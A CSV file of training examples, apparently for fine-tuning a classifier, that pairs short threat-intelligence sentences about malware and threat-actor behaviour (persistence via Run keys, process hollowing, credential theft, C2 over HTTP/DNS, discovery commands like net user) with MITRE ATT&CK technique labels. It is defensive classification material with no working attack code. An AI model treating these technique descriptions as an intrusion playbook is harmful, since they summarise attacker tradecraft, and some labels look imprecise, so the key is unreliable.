Some  versions have an embedded DLL known as MockDll that uses  and regsvr32 to execute another payload.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Some  versions have an embedded DLL known as MockDll that uses process hollowing and  to execute another payload.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Some versions of  have used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. Later versions have hard-coded keys uniquely for each C2 address.,['T1573 - Encrypted Channel'],fine_tune
spawns a new copy of c:\windows\syswow64\explorer.exe and then replaces the executable code in memory with malware.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
spearphished victims via Facebook and Whatsapp.,['T1566.003 - Spearphishing via Service'],fine_tune
spear phishing campaigns have included malicious Word documents with DDE execution.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
"specifically looks for Domain Admins, Power Users, and the Administrators groups within the domain and locally",['T1069 - Permission Groups Discovery'],fine_tune
splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.,['T1030 - Data Transfer Size Limits'],fine_tune
stages command output and collected data in files before exfiltration.,['T1074 - Data Staged'],fine_tune
"stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin.",['T1074 - Data Staged'],fine_tune
"steals credentials from compromised hosts. 's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by  include ones associated with The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, Internet Explorer, Microsoft Outlook, WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).",['T1003 - OS Credential Dumping'],fine_tune
steals credentials from its victims.,['T1003 - OS Credential Dumping'],fine_tune
steals credentials stored in Web browsers by querying the sqlite database and leveraging the Windows Vault mechanism.,['T1003 - OS Credential Dumping'],fine_tune
steals data stored in the clipboard.,['T1115 - Clipboard Data'],fine_tune
steals files based on an extension list if a USB drive is connected to the system.,['T1025 - Data from Removable Media'],fine_tune
"steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.",['T1005 - Data from Local System'],fine_tune
steals user files from local hard drives with file extensions that match a predefined list.,['T1005 - Data from Local System'],fine_tune
steals user files from network shared drives with file extensions and keywords that match a predefined list.,['T1039 - Data from Network Shared Drive'],fine_tune
stores a configuration files in the startup directory to automatically execute commands in order to persist across reboots.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
stores configuration values under the Registry key HKCU\Software\Microsoft\[dllname] and modifies Registry keys under HKCR\CLSID\...\InprocServer32with a path to the launcher.,['T1112 - Modify Registry'],fine_tune
stores information gathered from the endpoint in a file named 1.hwp.,['T1074 - Data Staged'],fine_tune
stores itself in ~/Library/.DS_Stores/,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
stores output from command execution in a .dat file in the %TEMP% directory.,['T1074 - Data Staged'],fine_tune
stores the encoded configuration file in the Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentContorlSet\Control\WMI\Security.,['T1112 - Modify Registry'],fine_tune
supports execution from the command-line.,['T1059 - Command and Scripting Interpreter'],fine_tune
"supports file encryption (AES with the key ""lolomycin2017"").",['T1027 - Obfuscated Files or Information'],fine_tune
"surveys a system upon check-in to discover active local network connections using the netstat -an, net use, net file, and net session commands.",['T1049 - System Network Connections Discovery'],fine_tune
"surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, and in the Program Files directory.",['T1083 - File and Directory Discovery'],fine_tune
surveys a system upon check-in to discover information in the Windows Registry with the reg query command.,['T1012 - Query Registry'],fine_tune
"surveys a system upon check-in to discover network configuration details using the arp -a, nbtstat -n, and net config commands.",['T1016 - System Network Configuration Discovery'],fine_tune
surveys a system upon check-in to discover operating system configuration details using the systeminfo and set commands.,['T1082 - System Information Discovery'],fine_tune
surveys a system upon check-in to discover remote systems on a local network using the net view and net view /DOMAIN commands.,['T1018 - Remote System Discovery'],fine_tune
surveys a system upon check-in to discover the system time by using the net time command.,['T1124 - System Time Discovery'],fine_tune
takes screenshots of the compromised system's desktop and saves them to C:\system\screenshot.bmp for exfiltration every 60 minutes.,['T1113 - Screen Capture'],fine_tune
terminates anti-malware processes if they’re found running on the system.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
The 's Information Gathering Tool (IGT) includes PowerShell components.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"The ""SCOUT"" variant of  achieves persistence by adding itself to the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Registry key.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"The ""tDiscoverer"" variant of  establishes a C2 channel by downloading resources from Web services like Twitter and GitHub.  binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day.",['T1102 - Web Service'],fine_tune
"The ""Uploader"" variant of  visits a hard-coded server over HTTP/S to download the images  uses to receive commands.",['T1071 - Application Layer Protocol'],fine_tune
"The ""ZR"" variant of  will check to see if known host-based firewalls are installed on the infected systems.  will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
The  3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.,"['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
The  backdoor compresses communications using the standard Zlib compression library.,['T1560 - Archive Collected Data'],fine_tune
The  C2 channel uses an 11-byte XOR algorithm to hide data.,['T1573 - Encrypted Channel'],fine_tune
The  C2 channel uses HTTP POST requests.,['T1071 - Application Layer Protocol'],fine_tune
The C2 server response to a beacon sent by a variant of  contains a 36-character GUID value that is used as an encryption key for subsequent network communications. Some variants of  use various XOR operations to encrypt C2 data.,['T1573 - Encrypted Channel'],fine_tune
The  client has been signed by fake and invalid digital certificates.,['T1553.002 - Code Signing'],fine_tune
The  command and control protocol's data stream can be encrypted with AES-CBC.,['T1573 - Encrypted Channel'],fine_tune
The  component KillDisk is capable of deleting Windows Event Logs.,['T1070 - Indicator Removal on Host'],fine_tune
The  config file is encrypted with RC4.,['T1027 - Obfuscated Files or Information'],fine_tune
The  crimeware toolkit has refined its detection of sandbox analysis environments by inspecting the process list and Registry.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
The discovery modules used with  can collect information on accounts and permissions.,['T1087 - Account Discovery'],fine_tune
The discovery modules used with  can collect information on network connections.,['T1049 - System Network Connections Discovery'],fine_tune
The discovery modules used with  can collect information on process details.,['T1057 - Process Discovery'],fine_tune
The  dropper can delete itself from the victim. Another  variant has the capability to delete specified files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"The  dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main  component.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
The  dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file.,['T1036 - Masquerading'],fine_tune
The  dropper uses a function to obfuscate the name of functions and other parts of the malware.,['T1027 - Obfuscated Files or Information'],fine_tune
The  dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active.,['T1047 - Windows Management Instrumentation'],fine_tune
The executable version of  has a module to log keystrokes.,['T1056 - Input Capture'],fine_tune
"The file name AcroRD32.exe, a legitimate process name for Adobe's Acrobat Reader, was used by  as a name for malware.",['T1036 - Masquerading'],fine_tune
The  group has been known to compress data before exfiltration.,['T1560 - Archive Collected Data'],fine_tune
"The  group has used other forms of obfuscation, include commingling legitimate traffic with communications traffic so that network streams appear legitimate. Some malware that has been used by  also uses steganography to hide communication in PNG image files.",['T1001 - Data Obfuscation'],fine_tune
The  group is known to utilize WMI for lateral movement.,['T1047 - Windows Management Instrumentation'],fine_tune
The initial beacon packet for  contains the operating system version and file system of the victim.,['T1082 - System Information Discovery'],fine_tune
The initial beacon packet for  contains the operating system version of the victim.,['T1082 - System Information Discovery'],fine_tune
The  installer loads a DLL using rundll32.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"The  loader implements itself with the name Security Support Provider, a legitimate Windows function. Various  .exe files mimic legitimate file names used by Microsoft, Symantec, Kaspersky, Hewlett-Packard, and VMWare.  also disguised malicious modules using similar filenames as custom network encryption software on victims.",['T1036 - Masquerading'],fine_tune
The  malware communicates through the use of events in Google Calendar.,['T1102 - Web Service'],fine_tune
The  malware communicates to its command server using HTTP with an encrypted payload.,['T1071 - Application Layer Protocol'],fine_tune
The  malware platform can use ICMP to communicate between infected computers.,['T1095 - Non-Application Layer Protocol'],fine_tune
The  malware platform can use Windows admin shares to move laterally.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
The  malware supports timestomping.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
The net accounts and net accounts /domain commands with  can be used to obtain password policy information.,['T1201 - Password Policy Discovery'],fine_tune
The net time command can be used in  to determine the local or remote system time.,['T1124 - System Time Discovery'],fine_tune
The net user username \password and net user username \password \domain commands in  can be used to create a local or domain account respectively.,['T1136 - Create Account'],fine_tune
The OsInfo function in  collects a running process list.,['T1057 - Process Discovery'],fine_tune
The OsInfo function in  collects the current running username.,['T1033 - System Owner/User Discovery'],fine_tune
The  payload is stored in a hidden directory at /Users/Shared/.local/kextd.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
The payload of  is encrypted with simple XOR with a rotating key. The  configuration file has been encrypted with RC4 keys.,['T1027 - Obfuscated Files or Information'],fine_tune
The  RAT has a keylogger.,['T1056 - Input Capture'],fine_tune
The reconnaissance modules used with  can collect information on network configuration.,['T1016 - System Network Configuration Discovery'],fine_tune
There is a variant of  that uses a PowerShell script instead of the traditional PE form.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
The Ritsol backdoor trojan used by  can download files onto a compromised host from a remote location.,['T1105 - Ingress Tool Transfer'],fine_tune
The  trojan supports file deletion.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
The  uploader or malware the uploader uses command to delete the RAR archives after they have been exfiltrated.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"To establish persistence,  adds a Registry Run key with a value ""TaskMgr"" in an attempt to masquerade as the legitimate Windows Task Manager.",['T1036 - Masquerading'],fine_tune
"To establish persistence,  identifies the Start Menu Startup directory and drops a link to its own executable disguised as an “Office Start,” “Yahoo Talk,” “MSN Gaming Z0ne,” or “MSN Talk” shortcut.","['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1036 - Masquerading', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
tools attempt to spoof anti-virus processes as a means of self-defense.,['T1036 - Masquerading'],fine_tune
tools contained an application to check performance of USB flash drives.,['T1120 - Peripheral Device Discovery'],fine_tune
Traffic traversing the  network will be forwarded to multiple nodes before exiting the  network and continuing on to its intended destination.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
transfers files from the compromised host via HTTP or HTTPS to a C2 server.,['T1071 - Application Layer Protocol'],fine_tune
"tries to add a Registry Run key under the name ""Windows Update"" to establish persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
tries to add a scheduled task to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"TRINITY malware used by  identifies payment card track data on the victim and then copies it to a local file in a subdirectory of C:\Windows\. Once the malware collects the data,  actors compressed data and moved it to another staging system before exfiltration.",['T1074 - Data Staged'],fine_tune
typically use ping and  to enumerate systems.,['T1018 - Remote System Discovery'],fine_tune
uploads and downloads information.,['T1105 - Ingress Tool Transfer'],fine_tune
uploads data in 2048-byte chunks.,['T1030 - Data Transfer Size Limits'],fine_tune
uploads files and secondary payloads to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
used a cloud-based remote access software called LogMeIn for their attacks.,['T1219 - Remote Access Software'],fine_tune
used a cron job for persistence on Mac devices.,['T1053 - Scheduled Task/Job'],fine_tune
used an HTTP malware variant and a Port 22 malware variant to collect the victim’s username.,['T1033 - System Owner/User Discovery'],fine_tune
used a rootkit to modify typical server functionality.,['T1014 - Rootkit'],fine_tune
used a SharePoint enumeration and data dumping tool known as spwebmember.,['T1213 - Data from Information Repositories'],fine_tune
used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files.,['T1083 - File and Directory Discovery'],fine_tune
used Base64 to encode C2 traffic.,['T1132 - Data Encoding'],fine_tune
used Base64 to obfuscate commands and the payload.,['T1027 - Obfuscated Files or Information'],fine_tune
"used batch scripts to enumerate network information, including information about trusts, zones, and the domain.",['T1016 - System Network Configuration Discovery'],fine_tune
used batch scripts to enumerate users in the victim environment.,['T1087 - Account Discovery'],fine_tune
used cmd.exe to launch commands on the victim’s machine.,['T1059 - Command and Scripting Interpreter'],fine_tune
used command line for execution.,['T1059 - Command and Scripting Interpreter'],fine_tune
"used legitimate services like Google Docs, Google Scripts, and Pastebin for C2.",['T1102 - Web Service'],fine_tune
used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.,['T1220 - XSL Script Processing'],fine_tune
used PowerShell scripts for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.","['T1018 - Remote System Discovery', 'T1046 - Network Service Discovery']",fine_tune
used RDP to move laterally in victim networks.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
used regsvr32.exe to execute scripts.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
used Regsvr32 to bypass application whitelisting techniques.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"used SMTP as a communication channel in various implants, initially using self-registered Google Mail accounts and later compromised email servers of its victims. Later implants such as  use a blend of HTTP and other legitimate channels, depending on module configuration.",['T1071 - Application Layer Protocol'],fine_tune
used spearphishing emails with malicious Microsoft Word attachments to infect victims.,['T1598.002 - Spearphishing Attachment'],fine_tune
used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites.,['T1598.003 - Spearphishing Link'],fine_tune
"used sticky-keys to obtain unauthenticated, privileged console access.",['T1546.008 - Event Triggered Execution: Accessibility Features'],fine_tune
used the Ammyy Admin tool as well as TeamViewer for remote access.,['T1219 - Remote Access Software'],fine_tune
used the Plink command-line utility to create SSH tunnels to C2 servers.,"['T1573 - Encrypted Channel', 'T1071 - Application Layer Protocol']",fine_tune
used the PowerShell filenames Office365DCOMCheck.ps1 and SystemDiskClean.ps1.,['T1036 - Masquerading'],fine_tune
"used  to download payloads, run a reverse shell, and execute malware on the victim's machine.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
used  to launch an authentication window for users to enter their credentials.,['T1187 - Forced Authentication'],fine_tune
used  to remove artifacts from victims.,['T1070 - Indicator Removal on Host'],fine_tune
used UPX to pack files.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
used various social media channels to spearphish victims.,['T1566.003 - Spearphishing via Service'],fine_tune
used VBS and JavaScript scripts to help perform tasks on the victim's machine.,['T1064 - Scripting'],fine_tune
used VPNs and Outlook Web Access (OWA) to maintain access to victim networks.,['T1133 - External Remote Services'],fine_tune
use HTTPS for all command and control communication methods.,['T1071 - Application Layer Protocol'],fine_tune
uses 's malleable C2 functionality to blend in with network traffic.,['T1095 - Non-Application Layer Protocol'],fine_tune
uses 443 for C2 communications.,['T1043 - Commonly Used Port'],fine_tune
uses a backup communication method with an HTTP beacon.,['T1008 - Fallback Channels'],fine_tune
uses a batch file that configures the ComSysApp service to autostart in order to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
uses a batch file that modifies Registry keys to launch a DLL into the svchost.exe process.,['T1112 - Modify Registry'],fine_tune
uses a batch file to kill a security program task and then attempts to remove itself.,['T1064 - Scripting'],fine_tune
uses a batch file to load a DLL into the svchost.exe process.,['T1055 - Process Injection'],fine_tune
uses a command-line interface.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses a command-line interface to interact with systems.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses a copy of tor2web proxy for HTTPS communications.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
uses a custom binary protocol for C2 communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
uses a custom binary protocol to beacon back to its C2 server. It has also used XOR for encrypting communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
"uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.","['T1043 - Commonly Used Port', 'T1071 - Application Layer Protocol']",fine_tune
uses a custom command and control protocol that communicates over commonly used ports. The C2 protocol is encapsulated in common application layer protocols.,['T1043 - Commonly Used Port'],fine_tune
uses a custom crypter leveraging Microsoft’s CryptoAPI to encrypt C2 traffic.,['T1573 - Encrypted Channel'],fine_tune
uses a custom DNS tunneling protocol for C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
"uses a custom encryption algorithm, which consists of XOR and a stream that is similar to the Blum Blum Shub algorithm.",['T1573 - Encrypted Channel'],fine_tune
uses a custom encryption algorithm on data sent back to the C2 server over HTTP.,['T1573 - Encrypted Channel'],fine_tune
uses a customized XOR algorithm to encrypt C2 communications.,['T1573 - Encrypted Channel'],fine_tune
uses a custom packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
uses a custom packing algorithm.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
uses a custom TCP protocol for C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
uses a custom UDP protocol to communicate.,['T1095 - Non-Application Layer Protocol'],fine_tune
uses a dropper called MaoCheng that harvests a stolen digital signature from Adobe Systems.,['T1553.002 - Code Signing'],fine_tune
uses AES and a preshared key to decrypt the custom Base64 routine used to encode strings and scripts.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
uses AES to encrypt C2 communications.,['T1573 - Encrypted Channel'],fine_tune
uses AES to encrypt certain information sent over its C2 channel.,['T1573 - Encrypted Channel'],fine_tune
uses AES to encrypt network communication.,['T1573 - Encrypted Channel'],fine_tune
uses a hidden directory named .calisto to store data from the victim’s machine before exfiltration.,"['T1074 - Data Staged', 'T1564.001 - Hide Artifacts: Hidden Files and Directories']",fine_tune
uses a keylogger and steals clipboard contents from victims.,['T1056 - Input Capture'],fine_tune
uses a keylogger plugin to gather keystrokes.,['T1056 - Input Capture'],fine_tune
uses a keylogger to capture keystrokes.,['T1056 - Input Capture'],fine_tune
uses a keylogger to capture keystrokes and location of where the user is typing.,['T1056 - Input Capture'],fine_tune
uses a keylogger to capture keystrokes it then sends back to the server after it is stopped.,['T1056 - Input Capture'],fine_tune
uses a large list of C2 servers that it cycles through until a successful connection is established.,['T1008 - Fallback Channels'],fine_tune
uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network.,['T1110 - Brute Force'],fine_tune
"uses a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.",['T1047 - Windows Management Instrumentation'],fine_tune
uses a module to execute Mimikatz with PowerShell to perform .,"['T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
uses a module to receive a notification every time a USB mass storage device is inserted into a victim.,['T1120 - Peripheral Device Discovery'],fine_tune
uses  and other Active Directory utilities to enumerate hosts.,['T1018 - Remote System Discovery'],fine_tune
uses a Port 22 malware variant to modify several Registry keys.,['T1112 - Modify Registry'],fine_tune
uses a PowerShell script to launch shellcode that retrieves an additional payload.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
uses AppleScript to create a login item for persistence.,['T1059.002 - Command and Scripting Interpreter: AppleScript'],fine_tune
uses a simple one-byte XOR method to obfuscate values in the malware.,['T1027 - Obfuscated Files or Information'],fine_tune
uses a sophisticated keylogger.,['T1056 - Input Capture'],fine_tune
uses a specific port of 443 and can also use ports 53 and 80 for C2. One  variant uses HTTP over port 443 to connect to its C2 server.,['T1043 - Commonly Used Port'],fine_tune
uses a tool to infect connected USB devices and transmit itself to air-gapped computers when the infected USB device is inserted.,['T1091 - Replication Through Removable Media'],fine_tune
uses a variation of the XOR cipher to encrypt files before exfiltration.,['T1486 - Data Encrypted for Impact'],fine_tune
uses a virus that propagates by infecting executables stored on shared drives.,['T1080 - Taint Shared Content'],fine_tune
uses a WMI event subscription to establish persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
uses Base64 encoding for C2 traffic.,['T1132 - Data Encoding'],fine_tune
uses Base64 encoding for communication in the message body of an HTTP request.,['T1132 - Data Encoding'],fine_tune
"uses blogs and third-party sites (GitHub, tumbler, and BlogSpot) to avoid DNS-based blocking of their communication to the command and control server.",['T1102 - Web Service'],fine_tune
"uses character replacement,  environment variables, and XOR encoding to obfuscate code.",['T1027 - Obfuscated Files or Information'],fine_tune
uses cloud based services for C2.,['T1102 - Web Service'],fine_tune
uses cmd.exe and /bin/bash to execute commands on the victim’s machine.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses cmd.exe to execute commands for discovery.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses cmd.exe to execute commands on the victim’s machine.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses cmd.exe to execute scripts and commands on the victim’s machine.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses cmd.exe to run commands for enumerating the host.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses cmd.exe to set the Registry Run key value. It also has a command to spawn a command shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses COM hijacking as a method of persistence.,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
uses command line for execution.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses commands such as netsh advfirewall firewall to discover local firewall settings.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
uses commands such as netsh interface show to discover network interface settings.,['T1016 - System Network Configuration Discovery'],fine_tune
uses credential dumpers such as  and  to extract cached credentials from Windows systems.,['T1003 - OS Credential Dumping'],fine_tune
uses custom base64 encoding to obfuscate HTTP traffic.,['T1132 - Data Encoding'],fine_tune
uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
uses DLL side-loading to load malicious programs.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
uses DNS as its C2 protocol.,['T1071 - Application Layer Protocol'],fine_tune
uses DNS for C2.,['T1071 - Application Layer Protocol'],fine_tune
uses DNS for the C2 communications.,['T1071 - Application Layer Protocol'],fine_tune
uses DNS TXT records for C2.,['T1071 - Application Layer Protocol'],fine_tune
uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended desitnation.,['T1090.004 - Domain Fronting'],fine_tune
uses encrypted Windows APIs and also encrypts data using the alternative base64+RC4 or the Caesar cipher.,['T1027 - Obfuscated Files or Information'],fine_tune
uses FakeTLS to communicate with its C2 server.,['T1573 - Encrypted Channel'],fine_tune
"uses fake Transport Layer Security (TLS) to communicate with its C2 server, encoding data with RC4 encryption.",['T1573 - Encrypted Channel'],fine_tune
"uses file and folder names related to legitimate programs in order to blend in, such as HP, Intel, Adobe, and perflogs.",['T1036 - Masquerading'],fine_tune
uses FTP for command and control.,['T1071 - Application Layer Protocol'],fine_tune
uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server.,['T1071 - Application Layer Protocol'],fine_tune
uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working.,['T1008 - Fallback Channels'],fine_tune
"uses HTTP, HTTPS, FTP, and FTPS to communicate with the C2 server.  can also act as a webserver and listen for inbound HTTP requests through an exposed API.",['T1071 - Application Layer Protocol'],fine_tune
uses HTTP and HTTPS for C2.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP and HTTPS for command and control.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP and HTTPS to communicate with the C2 server.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP as a transport to communicate with its command server.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP for C2.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP for C2 communication.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP for C2 communications.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP for command and control communication.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP for communication to the control servers.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP for communication with the C2 server.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP or HTTPS for C2.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP over SSL to communicate commands with the control server.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTP POST requests with data formatted using a custom protocol.,['T1095 - Non-Application Layer Protocol'],fine_tune
"uses HTTPS, HTTP, and DNS for C2 communications.",['T1071 - Application Layer Protocol'],fine_tune
uses HTTPS for C2.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTPS for C2 communications.,['T1071 - Application Layer Protocol'],fine_tune
uses HTTPS for command and control.,['T1071 - Application Layer Protocol'],fine_tune
"uses HTTPS to communicate with its C2 servers, to get malware updates, modules that perform most of the malware logic and various configuration files.",['T1071 - Application Layer Protocol'],fine_tune
uses HTTP TCP port 80 and HTTPS TCP port 443 for communications.,['T1043 - Commonly Used Port'],fine_tune
uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions.,['T1071 - Application Layer Protocol'],fine_tune
uses ipconfig /all and route PRINT to identify network adapter and interface information.,['T1016 - System Network Configuration Discovery'],fine_tune
"uses malicious documents to deliver remote execution exploits as part of. The group has previously exploited CVE-2017-8570, CVE-2012-1856, CVE-2014-4114, CVE-2017-0199, and CVE-2015-1641.",['T1203 - Exploitation for Client Execution'],fine_tune
uses Microsoft’s TechNet Web portal to obtain a dead drop resolver containing an encoded tag with the IP address of a command and control server. It has also obfuscated its C2 traffic as normal traffic to sites such as Github.,['T1102 - Web Service'],fine_tune
"uses Microsoft’s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims’ machines.",['T1104 - Multi-Stage Channels'],fine_tune
uses mshta.exe to load its program and files.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
"uses multiple protocols (HTTPS, HTTP, DNS) for its C2 server as fallback channels if communication with one is unsuccessful.",['T1008 - Fallback Channels'],fine_tune
"uses multiple techniques to obfuscate strings, including XOR.",['T1027 - Obfuscated Files or Information'],fine_tune
uses netstat -ano to search for specific IP address ranges.,['T1049 - System Network Connections Discovery'],fine_tune
uses Pastebin to store its real C2 addresses.,['T1102 - Web Service'],fine_tune
uses port 443 for C2.,['T1043 - Commonly Used Port'],fine_tune
uses port 443 for C2 communications.,['T1043 - Commonly Used Port'],fine_tune
uses port 46769 for C2.,['T1571 - Non-Standard Port'],fine_tune
uses port 8000 and 443 for C2.,['T1043 - Commonly Used Port'],fine_tune
uses port 8080 for C2.,['T1043 - Commonly Used Port'],fine_tune
uses port 80 for C2.,['T1043 - Commonly Used Port'],fine_tune
uses Port Numbers 443 and 80 for the C2 server.,['T1043 - Commonly Used Port'],fine_tune
uses ports 447 and 8082 for C2 communications.,['T1571 - Non-Standard Port'],fine_tune
"uses ports 80, 443, and 8080 for C2.",['T1043 - Commonly Used Port'],fine_tune
uses PowerShell for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
uses PowerShell scripts for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
uses PowerShell to add a Registry Run key in order to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"uses PowerView and Pywerview to perform discovery commands such as net user, net group, net local group, etc.",['T1087 - Account Discovery'],fine_tune
uses public sites such as github.com and sendspace.com to upload files and then download them to victim computers.,['T1105 - Ingress Tool Transfer'],fine_tune
uses Putty and VNC for lateral movement.,['T1021 - Remote Services'],fine_tune
uses RC4 and Base64 to obfuscate strings.,['T1027 - Obfuscated Files or Information'],fine_tune
uses RC4 encryption to obfuscate HTTP traffic.,['T1573 - Encrypted Channel'],fine_tune
uses RC4 to encrypt C2 traffic.,['T1573 - Encrypted Channel'],fine_tune
uses RC4 to encrypt the message body of HTTP content.,['T1573 - Encrypted Channel'],fine_tune
uses RDP to tunnel traffic from a victim environment.,['T1071 - Application Layer Protocol'],fine_tune
uses reflective DLL injection to inject the malicious library and execute the RAT.,['T1055 - Process Injection'],fine_tune
uses reg add to add a Registry Run key for persistence.,['T1112 - Modify Registry'],fine_tune
"uses remote services such as VPN, Citrix, or OWA to persist in an environment.",['T1133 - External Remote Services'],fine_tune
